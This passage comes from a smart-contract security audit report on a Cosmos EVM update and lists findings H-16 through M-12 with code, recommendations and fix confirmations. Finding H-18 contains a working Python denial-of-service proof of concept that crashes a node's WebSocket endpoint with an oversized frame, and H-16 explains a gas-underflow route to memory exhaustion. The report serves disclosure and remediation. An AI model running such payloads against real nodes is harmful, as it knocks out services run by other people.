https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/x/vm/keeper/statedb.go#L185-L194

Tool Used

Manual Review

Recommendation

Employ a safe pattern of first collecting the nodes for deletion while iterating, and then deleting them in a separate loop.

Discussion

kuprumxyz

The fix is confirmed: keys to be deleted are first collected, and then deleted in a separate loop.

Issue H-16: Gas underflow can be exploited to bypass block gas limits and drain validator resources

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/606

Summary

The EVM Interpreter's `Run()` method was modified to use direct subtraction from `contract.Gas` without verifying if there is sufficient gas remaining. Since `contract.Gas` is a `uint64` value, it can underflow to a value close to maxUINT64. This unlocks a massive amount of gas during the EVM interpreter execution, bypassing any block gas limit before any gas overflow is checked. An attacker can exploit this behavior by consuming the gas with resource-intensive operations. A possible approach is to expand memory until the validator crashes due to OOM.

Vulnerability Detail

The `CodeChunksRangeGas()` is subtracted from `contract.Gas` without first checking if there is enough `contract.Gas`.

```
if in.evm.chainRules.IsEIP4762 && !contract.IsDeployment && !contract.IsSystemCall {
    contractAddr := contract.Address()
        // @audit there is no check that `contract.Gas > CodeChunksRangeGas` or use
        ↪  `contract.UseGas()` instead.
    contract.Gas -= in.evm.TxContext.AccessEvents.CodeChunksRangeGas(contractAddr,
    ↪  pc, 1, uint64(len(contract.Code)), false)
}
```

Once `contract.Gas` underflows, the close to maxUINT64 gas can be used to expand memory. If you had maxUint64 gas (~1.8e19) and burned it entirely through memory expansion, you could hypothetically allocate up to ~9.8 terabytes. This is more memory than required for Ethereum validators, which is 32 GB.

The gas overflow check happens too late since the EVM Call can already use it up.

Impact

Max gas can be unlocked for one EVM call and can be exploited to drain node resources.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/main/go-ethereum/core/vm/interpreter.go#L238-L243

Tool Used

Manual Review

Recommendation

Consider using `contract.UseGas()` instead since it has an underflow check.

Discussion

gjaldon

This issue is fixed by using contract.UseGas(), which already has an underflow check.

Issue H-17: Deleting token allowances can lead to inconsistent store updates

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/608

Summary

Converting ERC20 or Converting Coins can trigger the deletion of token pairs. Deleting a token pair will delete all its allowances. However, deleting allowances uses an unsafe pattern of deleting while iterating over a Cosmos store. This may lead to a corrupted state.

This issue is similar to #589.

Vulnerability Detail

Deleting allowances uses the unsafe pattern of deleting while iterating.

```
func (k Keeper) deleteAllowances(ctx sdk.Context, erc20 common.Address) {
    store := prefix.NewStore(ctx.KVStore(k.storeKey), types.KeyPrefixAllowance)
    iterator := storetypes.KVStorePrefixIterator(store, erc20.Bytes())
    defer iterator.Close()

    for ; iterator.Valid(); iterator.Next() {
        store.Delete(iterator.Key())
    }
}
```

Impact

This can lead to an inconsistent store state.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/main/evm/x/erc20/keeper/allowance.go#L165-L173

Tool Used

Manual Review

Recommendation

Consider using a safe pattern of first collecting the nodes for deletion while iterating, and then deleting them in a separate loop.

Discussion

gjaldon

This issue is fixed as recommended by doing the store modifications outside of the iterator.

Issue H-18: WebSocket endpoint vulnerable to DOS via oversize frame payload

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/612

Summary

The WebSocket server does not enforce frame size limits or perform payload sanity checks. An unauthenticated remote attacker can craft and send a single WebSocket frame header advertising a massive payload (e.g., 10TB), leading to memory allocation or processing failure. This results in the full crash of the underlying node (`evmd`) as demonstrated in the provided PoC.

Vulnerability Detail

The server accepts a WebSocket handshake without authentication and does not validate the length field in incoming frames. This allows an attacker to advertise a massive payload in the extended payload length field (via 64-bit `!Q` struct) and stream infinite data to consume memory or bandwidth. There are no safeguards in place to abort such abuse early.

Observed crash:

```
./local_node.sh: line 229: 34038 Killed: 9               evmd start "$TRACE"
↪  --log_level $LOGLEVEL --minimum-gas-prices=0.0001atest --home "$HOMEDIR"
↪  --json-rpc.api eth,txpool,personal,net,debug,web3 --chain-id "$CHAINID"
```

PoC

```python
#!/usr/bin/env python3
import struct, socket

host = 'localhost'
port = 8546

# Send WebSocket upgrade request
request = (
    f"GET / HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "User-Agent: python-requests/2.25.1\r\n"
    "Accept-Encoding: gzip, deflate\r\n"
    "Accept: */*\r\n"
```

```
    "Connection: keep-alive\r\n"
    "Content-Type: application/json\r\n"
    "Upgrade: websocket\r\n"
    f"Origin: http://{host}:{port}\r\n"
    "Connection: upgrade\r\n"
    "Sec-WebSocket-Key: +RENBTtUz5ztvAFFAVbqwA==\r\n"
    "Sec-Websocket-Version: 13\r\n"
    "\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.sendall(request.encode())
sock.recv(100000)

# Craft oversized payload frame (10TB)
frame_header = bytearray()
frame_header.append(0x01)     # FIN + opcode = 1 (text)
frame_header.append(0xFF)     # 0x80 + 127 => use 64-bit length
frame_header += struct.pack("!Q", 10000 * 1024 * 1024 * 1024)

sock.sendall(frame_header)

while True:
    sock.sendall(b'1' * 1000000)  # Stream to exhaust memory/bandwidth
```

Impact

Node crashes or is forcefully killed by the OS due to memory exhaustion or unbounded buffer handling.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/rpc/websockets.go#L114-L115

Tool Used

Manual Review

Recommendation

- Enforce **maximum WebSocket frame payload sizes** (e.g., 1MB).
- Reject oversized frames and abort connection on invalid `length` values.
- Add **per-connection memory/bandwidth quotas**.

- Consider using WebSocket libraries that enforce message size limits or customizing the upstream.

Discussion

defsec

Fix is verified.

Issue M-1: New logs from post-transaction processing are not stored

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/535

Summary

The `PostTxProcessing()` hook can alter the logs. This is correctly reflected in the `MsgEthereumTxResponse`, but not in the logs that are stored.

Vulnerability Detail

The logs from post-processing are reflected in the response, but not in the logs saved in the store.

```
// @audit the logs before post-tx processing are used to generate the bloom and
 ↪  bloomReceipt
if len(logs) > 0 {
    bloom = k.GetBlockBloomTransient(ctx)
    bloom.Or(bloom,
     ↪  big.NewInt(0).SetBytes(ethtypes.CreateBloom(&ethtypes.Receipt{Logs:
     ↪  logs}).Bytes()))
    bloomReceipt = ethtypes.BytesToBloom(bloom.Bytes())
}

// ... snip ...
        // Since the post-processing can alter the log, we need to update the result
                // @audit the logs in the response are updated here after post-tx
                 ↪  processing
        res.Logs = types.NewLogsFromEth(receipt.Logs)
        ctx.EventManager().EmitEvents(tmpCtx.EventManager().Events())
    }
}

// ... snip ...

// @audit the logs from post-tx processing are not reflected in the bloom and
 ↪  logSize saved in the transient store
if len(logs) > 0 {
    // Update transient block bloom filter
    k.SetBlockBloomTransient(ctx, bloom)
    k.SetLogSizeTransient(ctx, uint64(txConfig.LogIndex)+uint64(len(logs)))
}
```

Impact

If a log does not exist in the bloom filter, then it does not exist in the chain. Any logs emitted in post-transaction processing will not be saved.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/main/evm/x/vm/keeper/state_transition.go#L254-L258

Tool Used

Manual Review

Recommendation

Consider updating the logs and bloom filter after post-transaction processing and use that updated data when saving in the transient store.

Discussion

gjaldon

The transient store for the log size now correctly utilizes the updated logs that may have been modified by PostTxProcessing.

However, the bloom filter still does not store any of the logs possibly generated by PostTxProcessing().

Eric-Warehime

https://github.com/cosmos/evm-internal/pull/23/commits/eee0867857d27f236de18c2ff5bb301ab3e32e2b

gjaldon

The change to generate the bloom from the ETH logs after running `PostTxProcessing()` will ensure that the bloom is also updated.

Issue M-2: Logs are still stored even when post-transaction processing fails

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/536

Summary

When post-transaction processing fails, the whole transaction should revert. In the EVM, a transaction revert will also revert the logs that were emitted. However, in CosmosEVM, the logs of the main transaction will still be stored.

Vulnerability Detail

Any failure in post-transaction processing only clears the logs in the response. The logs from the main transaction will still be saved.

Impact

The main transaction's logs will still be stored in the chain. This behavior differs from how the EVM works. In the EVM, a transaction revert will revert all effects, including logs.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/main/evm/x/vm/keeper/state_transition.go#L232-L233

Tool Used

Manual Review

Recommendation

Consider not saving any log-related data in the transient store if the post-transaction processing fails.

Discussion

gjaldon

This issue is fixed. The logs are emptied when there is an error in PostTxProcessing() preventing updates to the bloom filter and log size transient stores.

Issue M-3: Possible mismatch between EVM & Cosmos balances due to `gov` precompile not accounting for an edge case

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/540

Summary

The `gov`'s precompile method `CancelProposal` fails to account for an edge case: it assumes that `proposal_cancel_ratio` is always burnt. But if a chain has non-empty `proposal_cancel_dest` parameter, that amount won't be burnt, but sent to that address. As a result, EVM and Cosmos will have mismatched account balances.

Vulnerability Detail

According to Cosmos SDK docs for cancel proposal:

> Once proposal is canceled, from the deposits of proposal `deposits * proposal_cancel_ratio` will be burned or sent to `ProposalCancelDest` address , if `ProposalCancelDest` is empty then deposits will be burned. The `remaining deposits` will be sent to depositers.

Contrary to that, the `gov` precompile incorrectly assumes that `deposits * proposal_cancel_ratio` is always burnt, as is evident from the implementation of the method CancelProposal:

```
// CancelProposal defines a method to cancel a proposal.
func (p *Precompile) CancelProposal(

    // ... snip ...

    // pre-calculate the remaining deposit
    govParams, err := p.govKeeper.Params.Get(ctx)
    if err != nil {
        return nil, err
    }
    cancelRate, err := math.LegacyNewDecFromStr(govParams.ProposalCancelRatio)
    if err != nil {
        return nil, err
    }
    deposits, err := p.govKeeper.GetDeposits(ctx, msg.ProposalId)
    if err != nil {
        return nil, err
    }
    var remaninig math.Int
    for _, deposit := range deposits {
```

```
        if deposit.Depositor != sdk.AccAddress(proposerHexAddr.Bytes()).String() {
            continue
        }
        for _, coin := range deposit.Amount {
            if coin.Denom == evmtypes.GetEVMCoinDenom() {
                cancelFee := coin.Amount.ToLegacyDec().Mul(cancelRate).TruncateInt()
                remaninig = coin.Amount.Sub(cancelFee)
            }
        }
    }
    if _, err = govkeeper.NewMsgServerImpl(&p.govKeeper).CancelProposal(ctx, msg);
    ↪  err != nil {
        return nil, err
    }


    convertedAmount, err := utils.Uint256FromBigInt(evmtypes.ConvertAmountTo18Decim
    ↪  alsBigInt(remaninig.BigInt()))
    if err != nil {
        return nil, err
    }
    if convertedAmount.Cmp(uint256.NewInt(0)) == 1 {
        p.SetBalanceChangeEntries(cmn.NewBalanceChangeEntry(proposerHexAddr,
        ↪  convertedAmount, cmn.Add))
    }

    // ... snip ...
}
```

To demonstrate that, apply the below diff to evm/precompiles/gov/setup_test.go:

```
diff --git a/evm/precompiles/gov/setup_test.go b/evm/precompiles/gov/setup_test.go
index 94f262f..00f83f3 100644
--- a/evm/precompiles/gov/setup_test.go
+++ b/evm/precompiles/gov/setup_test.go
@@ -111,6 +111,7 @@ func (s *PrecompileTestSuite) SetupTest() {
        },
    }
    govGen.Params.MinDeposit =
    ↪  sdk.NewCoins(sdk.NewCoin(testconstants.ExampleAttoDenom, math.NewInt(100)))
+   govGen.Params.ProposalCancelDest = keyring.GetAccAddr(1).String()
    govGen.Proposals = append(govGen.Proposals, prop)
    govGen.Proposals = append(govGen.Proposals, prop2)
    customGen[govtypes.ModuleName] = govGen
```

Then run the `gov` precompile tests with `cd evm/precompiles/gov/ ; go test`, and observe the below output:

```
• [FAILED] [0.052 seconds]
```

```
Calling governance precompile from contract testCancel with transfer (multiple
↪  deposits & refund)
contract proposer should cancel proposal with transfer
[It] with internal transfers before and after precompile call
evm/precompiles/gov/integration_test.go:1880

  [FAILED] Expected
      <math.Int>: {
          i: {
              neg: false,
              abs: [200119966052916261, 5421],
          },
      }
  to equal
      <math.Int>: {
          i: {
              neg: false,
              abs: [200119966052916161, 5421],
          },
      }
  In [It] at: evm/precompiles/gov/integration_test.go:1869 @ 06/01/25 11:30:14.702
```

Impact

Account balances mismatch between EVM & Cosmos.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/precompiles/gov/tx.go#L131-L166

Tool Used

Manual Review

Recommendation

Account for the case when `proposal_cancel_dest` parameter is non-empty.

Discussion

kuprumxyz

The fix is confirmed: balance changes are tracked now by `BalanceHandler`, which propagates native Cosmos SDK balance changes to StateDB (see Cosmos EVM PR #201). The corresponding test is added that covers the reported issue.

Issue M-4: Potential RPC DOS through TraceTx

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/543

Summary

The TraceTx method in the gRPC query interface contains a potential DOS issue that allows attackers to consume excessive computational resources by providing an unlimited number of predecessor transactions for simulation.

Vulnerability Detail

In the `TraceTx` method , there is an unbounded loop that processes predecessor transactions without any limits:

```
for i, tx := range req.Predecessors {
    ethTx := tx.AsTransaction()
    msg, err := core.TransactionToMessage(ethTx, signer, cfg.BaseFee)
    if err != nil {
        continue
    }
    txConfig.TxHash = ethTx.Hash()
    txConfig.TxIndex = uint(i)
    // reset gas meter for each transaction
    ctx = evmante.BuildEvmExecutionCtx(ctx).
        WithGasMeter(cosmosevmtypes.NewInfiniteGasMeterWithLimit(msg.GasLimit))
    rsp, err := k.ApplyMessageWithConfig(ctx, *msg, nil, true, cfg, txConfig)
    if err != nil {
        continue
    }
    txConfig.LogIndex += uint(len(rsp.Logs))
}
```

Impact

The method processes all transactions in `req.Predecessors` without checking the array length. Each predecessor requires full transaction simulation via `ApplyMessageWithConfig`. Unlike the main transaction tracing which has timeout protection, predecessor processing lacks time limits. An attacker can submit thousands of predecessor transactions, forcing the node to simulate each one.

Code Snippet

```
for i, tx := range req.Predecessors {
    ethTx := tx.AsTransaction()
    msg, err := core.TransactionToMessage(ethTx, signer, cfg.BaseFee)
    if err != nil {
        continue
    }
    txConfig.TxHash = ethTx.Hash()
    txConfig.TxIndex = uint(i)
    // reset gas meter for each transaction
    ctx = evmante.BuildEvmExecutionCtx(ctx).
        WithGasMeter(cosmosevmtypes.NewInfiniteGasMeterWithLimit(msg.GasLimit))
    rsp, err := k.ApplyMessageWithConfig(ctx, *msg, nil, true, cfg, txConfig)
    if err != nil {
        continue
    }
    txConfig.LogIndex += uint(len(rsp.Logs))
}
```

Tool Used

Manual Review

Recommendation

Consider adding Predecessor limiting.

Discussion

defsec

Fix is confirmed.

Issue M-5: ERC20 transfers fail With non-compliant tokens missing return values

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/545

Summary

The ERC20 conversion implementation in the keeper assumes all ERC20 tokens return boolean values from transfer operations, causing failures when interacting with popular non-compliant tokens like USDT, BNB, and OMG that do not return values despite successful transfers.

Reference : https://github.com/d-xo/weird-erc20

Vulnerability Detail

The issue occurs because `UnpackIntoInterface` calls the underlying `Unpack` function from go-ethereum's ABI encoding, which fails when attempting to unpack empty return data if the ABI specifies a return value. Many legitimate ERC20 tokens (USDT, BNB, OMG) do not return boolean values from their transfer functions, causing these operations to fail even when the transfer itself succeeds.

```
// Check evm call response
var unpackedRet types.ERC20BoolResponse
if err := erc20.UnpackIntoInterface(&unpackedRet, "transfer", res.Ret); err != nil {
    return nil, err
}
```

According to the ERC20 specification, the return value is optional, but the current implementation treats it as mandatory, breaking compatibility with a portion of existing ERC20 tokens in the ecosystem.

Impact

Users cannot convert popular tokens like USDT, BNB, and OMG through the ERC20 bridge.

Code Snippet

msg_server.go#L99-L100

```
// Check evm call response
var unpackedRet types.ERC20BoolResponse
```

```
if err := erc20.UnpackIntoInterface(&unpackedRet, "transfer", res.Ret); err != nil {
    return nil, err
}
```

Tool Used

Manual Review

Recommendation

Modify both transfer functions to handle tokens with missing return values by checking if return data exists before attempting to unpack it.

Discussion

defsec

Fix is confirmed.

Issue M-6: EVM block context missing RANDAO implementation causes smart contract incompatibility

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/546

Summary

The EVM implementation does not support the RANDAO functionality by setting `Random: &common.MaxHash` in the EVM block context. This prevents contracts from accessing on-chain randomness.

Vulnerability Detail

The EVM block context configuration sets `Random: &common.MaxHash` instead of implementing proper RANDAO functionality. This hardcoded maximum hash value prevents contracts from accessing legitimate on-chain randomness that would normally be available through Ethereum's RANDAO beacon.

In standard Ethereum implementations, the RANDAO provides verifiable randomness derived from validator commitments during the consensus process. Smart contracts can access this randomness through the PREVRANDAO opcode (formerly DIFFICULTY in pre-merge Ethereum), which is essential for many DeFi protocols, gaming applications, and other use cases requiring unpredictable values.

Impact

Core functionality of protocols relying on this randomness source will be broken.

Code Snippet

state_transition.go#L32-L33

```
// NewEVM generates a go-ethereum VM from the provided Message fields and the chain
 ↪  parameters
// (ChainConfig and module Params). It additionally sets the validator operator
 ↪  address as the
// coinbase address to make it available for the COINBASE opcode, even though there
 ↪  is no
// beneficiary of the coinbase transaction (since we're not mining).
//
// NOTE: the RANDOM opcode is currently not supported since it requires
```

```
// RANDAO implementation. See
↪  https://github.com/evmos/ethermint/pull/1520#pullrequestreview-1200504697
// for more information.
func (k *Keeper) NewEVM(
    ctx sdk.Context,
    msg core.Message,
    cfg *statedb.EVMConfig,
    tracer *tracing.Hooks,
    stateDB vm.StateDB,
) *vm.EVM {
    blockCtx := vm.BlockContext{
        CanTransfer: core.CanTransfer,
        Transfer:    core.Transfer,
        GetHash:     k.GetHashFn(ctx),
        Coinbase:    cfg.CoinBase,
        GasLimit:    cosmosevmtypes.BlockGasLimit(ctx),
        BlockNumber: big.NewInt(ctx.BlockHeight()),
        Time:        uint64(ctx.BlockHeader().Time.Unix()), //#nosec G115 -- int
        ↪  overflow is not a concern here
        Difficulty:  big.NewInt(0),                         // unused. Only required
        ↪  in PoW context
        BaseFee:     cfg.BaseFee,
        Random:      &common.MaxHash, // need to be different than nil to signal it
        ↪  is after the merge and pick up the right opcodes
    }
```

Tool Used

Manual Review

Recommendation

Implement a deterministic randomness source using block data or use Cosmos consensus randomness.

Discussion

vladjdk

Randomness is a tricky problem that hasn't had a good solution in Cosmos. I think the solution here is to document that randomness is unsupported so that protocols don't rely on it.

defsec

The issue is marked as an acknowledged.

Issue M-7: Precompiles can transfer ETH without caller explicitly transferring value

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/547

Summary

In Ethereum, if a caller calls a function, that function may not touch the caller's ETH balance unless the caller explicitly set `msg.value`. In Solidity, this looks like `function{value: 100 ether}()`. However, in CosmosEVM, several Precompile functions can transfer ETH without the caller explicitly setting `msg.value` for the contract call. This makes `delegatecalls` riskier.

Vulnerability Detail

In the DepositValidatorRewardsPool precompile function, the native token will be deposited, and the caller's balance will be deducted even when the caller did not set `msg.value`.

```
// @audit transferring native tokens is possible even when caller does not set
↪  `msg.value`
msgSrv := distributionkeeper.NewMsgServerImpl(p.distributionKeeper)
_, err = msgSrv.DepositValidatorRewardsPool(ctx, msg)
if err != nil {
    return nil, err
}
if found, evmCoinAmount := msg.Amount.Find(evmtypes.GetEVMCoinDenom()); found {
    convertedAmount, err := utils.Uint256FromBigInt(evmtypes.ConvertAmountTo18Decim
    ↪  alsBigInt(evmCoinAmount.Amount.BigInt()))
    if err != nil {
        return nil, err
    }
    // check if converted amount is greater than zero
    if convertedAmount.Cmp(uint256.NewInt(0)) == 1 {
        p.SetBalanceChangeEntries(cmn.NewBalanceChangeEntry(depositorHexAddr,
        ↪  convertedAmount, cmn.Sub))
    }
}
```

Impact

`Delegatecalls` can transfer native tokens without the caller's permission. This is not possible in the original EVM and is a security risk.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/main/evm/precompiles/distribution/tx.go#L287-L301

Tool Used

Manual Review

Recommendation

Consider checking `msg.value` or `contract.Value` in all precompile functions that allow transfer of the native token.

Discussion

vladjdk

Ackowledging this issue. This is more of a Cosmos implementation detail that we will make sure to document properly.

Issue M-8: Solidity interface for Evidence precompile does not match the actual interface

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/548

Summary

Evidence precompile's `submitEvidence()` expects two arguments, the `submitter` and the `equivocation`. However, the precompile's Solidity interface only has the function header `submitEvidence(Equivocation calldata evidence)` where only one argument is expected.

Vulnerability Detail

The Evidence precompile's Solidity interface has the following interface set for submitEvidence():

```
function submitEvidence(Equivocation calldata evidence) external returns (bool
↪  success);
```

However, the actual Evidence precompile expects two arguments.

```
func NewMsgSubmitEvidence(args []interface{}) (*evidencetypes.MsgSubmitEvidence,
↪  common.Address, error) {
    emptyAddr := common.Address{}
    if len(args) != 2 {
        return nil, emptyAddr, fmt.Errorf(cmn.ErrInvalidNumberOfArgs, 2, len(args))
    }

    submitterAddress, ok := args[0].(common.Address)
    if !ok {
        return nil, emptyAddr, fmt.Errorf("invalid submitter address")
    }

    equivocation, ok := args[1].(EquivocationData)
    if !ok {
        return nil, emptyAddr, fmt.Errorf("invalid equivocation evidence")
    }
```

Impact

The Evidence precompile's Solidity interface will always fail when calling `submitEvidence()`.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/main/evm/precompiles/evidence/types.go#L64-L77
https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/main/evm/precompiles/evidence/IEvidence.sol#L33-L36

Tool Used

Manual Review

Recommendation

Consider changing the function header for `submitEvidence()` to reflect the two arguments needed, `submitter` and `evidence`.

Discussion

gjaldon

This issue is fixed. The `submitEvidence()` function signature has been correctly updated in the IEvidence interfaces.

Issue M-9: `StateOverride` parameter silently ignored in `eth_call` implementation

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/552

Summary

The EVM JSON-RPC implementation contains a flaw where the `StateOverride` parameter in the `eth_call` method is completely ignored, despite being accepted as a function parameter. This parameter is used for simulating smart contract calls with modified state conditions, such as altered account balances, storage values, or contract code.

Vulnerability Detail

The code accepts state overrides but silently ignores them, providing no indication that the simulation is running against unmodified state.

Impact

Standard Ethereum development tools like Hardhat, Foundry, and Web3 libraries (ethers.js, web3.js) that rely on state overrides for testing will not function correctly.

Code Snippet

/evm/rpc/namespaces/ethereum/eth/api.go#L271-L272

```
func (e *PublicAPI) Call(args evmtypes.TransactionArgs,
    blockNrOrHash rpctypes.BlockNumberOrHash,
    _ *rpctypes.StateOverride,
) (hexutil.Bytes, error) {
    e.logger.Debug("eth_call", "args", args.String(), "block number or hash",
    ↪  blockNrOrHash)

    blockNum, err := e.backend.BlockNumberFromTendermint(blockNrOrHash)
    if err != nil {
        return nil, err
    }
    data, err := e.backend.DoCall(args, blockNum)
    if err != nil {
        return []byte{}, err
    }

    return (hexutil.Bytes)(data.Ret), nil
```

```
}
```

Tool Used

Manual Review

Recommendation

Consider implementing relevant functionality or return consistent error on that.

Discussion

defsec

Fix is confirmed, functionality is disabled.

Issue M-10: `eth_feeHistory` RPC method parameter parsing error

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/557

Summary

The `eth_feeHistory` RPC method implementation contains a parameter parsing issue where the server incorrectly attempts to unmarshal hexadecimal string parameters directly into `uint64` Go values, causing JSON unmarshaling failures. This indicates improper parameter validation and type conversion in the RPC handler.

Vulnerability Detail

The error occurs when the RPC server receives properly formatted hexadecimal string parameters (as per Ethereum JSON-RPC specification) but attempts to parse them directly as `uint64` without proper hex string conversion:

```
Error: server returned an error response: error code -32602: invalid argument 0:
↪  json: cannot unmarshal string into Go value of type uint64
```

This suggests the implementation is expecting raw numeric values instead of hex-encoded strings, which violates the Ethereum JSON-RPC specification that requires parameters like block counts and block numbers to be hex-encoded strings (e.g., `"0x5"`, `"0xa"`).

Impact

The `eth_feeHistory` method fails to work with standard Ethereum RPC clients and tools that send properly formatted hex string parameters according to the JSON-RPC specification.

Code Snippet

Error Response from Local RPC:

```
$ cast rpc eth_feeHistory "0x5" "latest" "null" --rpc-url http://127.0.0.1:8545
Error: server returned an error response: error code -32602: invalid argument 0:
↪  json: cannot unmarshal string into Go value of type uint64
```

Expected vs Actual Behavior:

```
# Working call to external Ethereum RPC (expected behavior):
$ cast rpc eth_feeHistory "0x5" "latest" "null" --rpc-url https://eth.llamarpc.com
{"baseFeePerBlobGas":["0x1","0x1","0x1","0x1","0x1","0x1"],"baseFeePerGas":["0xda02
↪  9ceb","0xd126619c","0xda3284e3","0xdb86bec4","0xdbe4a18b","0xceb80d0d"],"blobGa
↪  sUsedRatio":[1,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.44444
↪  44444444444],"gasUsedRatio":[0.3374336666666667,0.6730321111111112,0.5243634166
↪  666666,0.5066824166666667,0.26035370182256745],"oldestBlock":"0x15921a9"}

# Failing call to local RPC (actual behavior):
$ cast rpc eth_feeHistory "0x5" "latest" "null" --rpc-url http://127.0.0.1:8545
Error: server returned an error response: error code -32602: invalid argument 0:
↪  json: cannot unmarshal string into Go value of type uint64
```

Tool Used

Manual Review

Recommendation

Fix the parameter parsing in the `eth_feeHistory` RPC method implementation.

Discussion

Eric-Warehime

Fixed in https://github.com/cosmos/evm/pull/216

defsec

Fix is confirmed.

Issue M-11: ERC20 Tokens with bytes32 metadata fields (MKR-type) cause integration failures in Query-ERC20 method

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/559

Summary

ERC20 Tokens with bytes32 Metadata Fields (MKR-type) Cause Integration Failures in QueryERC20 Method.

Vulnerability Detail

The ERC20 integration implementation assumes all ERC20 tokens return metadata fields (`name`, `symbol`) as string types, but some legitimate ERC20 tokens like MKR (Maker) return these fields as `bytes32` instead. This type mismatch causes ABI unpacking failures when the system attempts to integrate such tokens.

Token : https://etherscan.io/address/0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2#code

Impact

Popular tokens like MKR (Maker) cannot be integrated into the system.

Code Snippet

evm.go#L65-L669

```
// QueryERC20 returns the data of a deployed ERC20 contract
func (k Keeper) QueryERC20(
    ctx sdk.Context,
    contract common.Address,
) (types.ERC20Data, error) {
    var (
        nameRes    types.ERC20StringResponse
        symbolRes  types.ERC20StringResponse
        decimalRes types.ERC20Uint8Response
    )

    erc20 := contracts.ERC20MinterBurnerDecimalsContract.ABI

    // Name
```

```
    res, err := k.evmKeeper.CallEVM(ctx, erc20, types.ModuleAddress, contract,
    ↪  false, "name")
    if err != nil {
        return types.ERC20Data{}, err
    }

    if err := erc20.UnpackIntoInterface(&nameRes, "name", res.Ret); err != nil {
        return types.ERC20Data{}, errorsmod.Wrapf(
            types.ErrABIUnpack, "failed to unpack name: %s", err.Error(),
        )
    }

    // Symbol
    res, err = k.evmKeeper.CallEVM(ctx, erc20, types.ModuleAddress, contract,
    ↪  false, "symbol")
    if err != nil {
        return types.ERC20Data{}, err
    }

    if err := erc20.UnpackIntoInterface(&symbolRes, "symbol", res.Ret); err != nil {
        return types.ERC20Data{}, errorsmod.Wrapf(
            types.ErrABIUnpack, "failed to unpack symbol: %s", err.Error(),
        )
    }

    // Decimals
    res, err = k.evmKeeper.CallEVM(ctx, erc20, types.ModuleAddress, contract,
    ↪  false, "decimals")
    if err != nil {
        return types.ERC20Data{}, err
    }

    if err := erc20.UnpackIntoInterface(&decimalRes, "decimals", res.Ret); err !=
    ↪  nil {
        return types.ERC20Data{}, errorsmod.Wrapf(
            types.ErrABIUnpack, "failed to unpack decimals: %s", err.Error(),
        )
    }

    return types.NewERC20Data(nameRes.Value, symbolRes.Value, decimalRes.Value), nil
}
```

Tool Used

Manual Review

Recommendation

Implement fallback logic to handle both string and bytes32 metadata types.

Discussion

defsec

Fix is confirmed.

Issue M-12: Cosmos EVM silently underflows for transactions with negative value

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/561

Summary

Due to certain code modifications, Cosmos EVM accepts and attempts to execute Ethereum transactions with negative value. For a transaction with the negative value $-x$, the value $y = \text{type(uint256).max} - x + 1$ is attempted to be transferred. Such silent underflows completely break proper EVM state execution and accounting.

Vulnerability Detail

The following fragment can be found in evm/x/vm/keeper/state_transition.go::ApplyMessageWithConfig

```
>>  convertedValue, err := utils.Uint256FromBigInt(msg.Value)
    if err != nil {
        return nil, err
    }

    if contractCreation {
        // take over the nonce management from evm:
        // - reset sender's nonce to msg.Nonce() before calling evm.
        // - increase sender's nonce by one no matter the result.
        stateDB.SetNonce(sender.Address(), msg.Nonce, tracing.NonceChangeEoACall)
>>      ret, _, leftoverGas, vmErr = evm.Create(sender.Address(), msg.Data,
 ↪  leftoverGas, convertedValue)
        stateDB.SetNonce(sender.Address(), msg.Nonce+1,
         ↪  tracing.NonceChangeContractCreator)
    } else {
>>      ret, leftoverGas, vmErr = evm.Call(sender.Address(), *msg.To, msg.Data,
 ↪  leftoverGas, convertedValue)
    }
```

Function utils.Uint256FromBigInt is as follows:

```
func Uint256FromBigInt(i *big.Int) (*uint256.Int, error) {
    result, overflow := uint256.FromBig(i)
    if overflow {
        return nil, fmt.Errorf("overflow trying to convert *big.Int (%d) to
         ↪  uint256.Int (%s)", i, result)
    }
    return result, nil
```

```
}
```

It could be assumed that `uint256.FromBig` would return `overflow` flag on negative values, but this doesn't happen, instead it negates the value mod 2**256.

As a result, the negative value is accepted and executed with real transferred value being negated one mod 2**256.

To demonstrate the vulnerability:

1. Apply the below diff to evm/x/vm/keeper/state_transition.go

```
diff --git a/evm/x/vm/keeper/state_transition_test.go
 ↪  b/evm/x/vm/keeper/state_transition_test.go
index 0779086..fc8cc97 100644
